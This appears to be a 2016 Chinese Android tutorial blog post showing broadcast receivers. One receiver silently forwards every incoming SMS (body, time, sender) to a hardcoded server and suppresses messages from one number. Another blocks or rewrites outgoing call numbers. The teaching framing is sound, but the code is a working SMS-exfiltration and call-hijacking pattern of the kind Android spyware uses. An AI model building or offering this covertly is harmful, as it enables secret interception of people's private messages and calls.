使用广播接收者获取短信及拦截电话
2016-03-09 17:03
453 查看
清单中注册广播接收者
获取短信并上传网络,
广播接收者有优先级,拨号属于有序广播,即使拦截依然会传给拨号器,所以可以将电话号码设置为空
因为系统拨号指定了接受者,故广播一定可以传达,abortBoardcast(),没用
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.itcast.smslistener" android:versionCode="1" android:versionName="1.0"> <application android:icon="@drawable/icon" android:label="@string/app_name"> <receiver android:name=".SMSBroadcastReceiver"> <!-- 注册短信接收者 --> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> <receiver android:name=".PhoneBroadcastReceiver"> <!-- 注册电话接受者 --> <intent-filter android:priority="1000"> <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> </intent-filter> </receiver> </application> <uses-sdk android:minSdkVersion="8" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> <!-- 访问internet权限 --> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> </manifest>
获取短信并上传网络,
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for(Object p : pdus){ byte[] pdu = (byte[]) p; SmsMessage message = SmsMessage.createFromPdu(pdu); String content = message.getMessageBody(); Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String receiveTime = format.format(date); String senderNumber = message.getOriginatingAddress(); sendSMS(content, receiveTime, senderNumber); if("5556".equals(senderNumber)){ abortBroadcast();//终止广播 } } } private boolean sendSMS(String content, String receiveTime, String senderNumber) { try{ String params = "content="+ URLEncoder.encode(content, "UTF-8")+ "&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber; byte[] entity = params.getBytes(); String path = "http://192.168.1.100:8080/web/ReceiveSMSServlet"; HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection(); conn.setConnectTimeout(5000); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", String.valueOf(entity.length)); conn.getOutputStream().write(entity); if(conn.getResponseCode() == 200){ return true; } }catch (Exception e) { e.printStackTrace(); } return false; } }
广播接收者有优先级,拨号属于有序广播,即使拦截依然会传给拨号器,所以可以将电话号码设置为空
因为系统拨号指定了接受者,故广播一定可以传达,abortBoardcast(),没用
public class PhoneBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String number = getResultData(); if("5556".equals(number)){ setResultData(null); 终止广播没用,因为是有序广播 }else{ number = "12593"+ number; setResultData(number); } } }
相关文章推荐
- NSBlockOperation
- Android酷炫实用的开源框架(UI框架)
- javascript 网站注意事项
- MyEclipse快捷键大全( 再排版)
- 目录文件的操作
- MariaDB通过命令行还原数据库
- nginx向client发送数据包
- VNC无法调出图形界面
- 人脸识别技术大总结(1):Face Detection & Alignment
- Codeforces 630F:Selection of Personnel【数列组合】
- 第二周上机实践项目 项目2-就拿胖子说事 (3)
- NSOperation
- 经典排序算法之插入排序
- win7 与xp 系统 DateTime.Now
- mysql连接的问题
- 第二周项目1-宣告主权
- 安装SVN Access Manager 0.5.5.1(一)
- 欢迎使用CSDN-markdown编辑器
- DDD开源框架
- HeadFirst设计模式之门面模式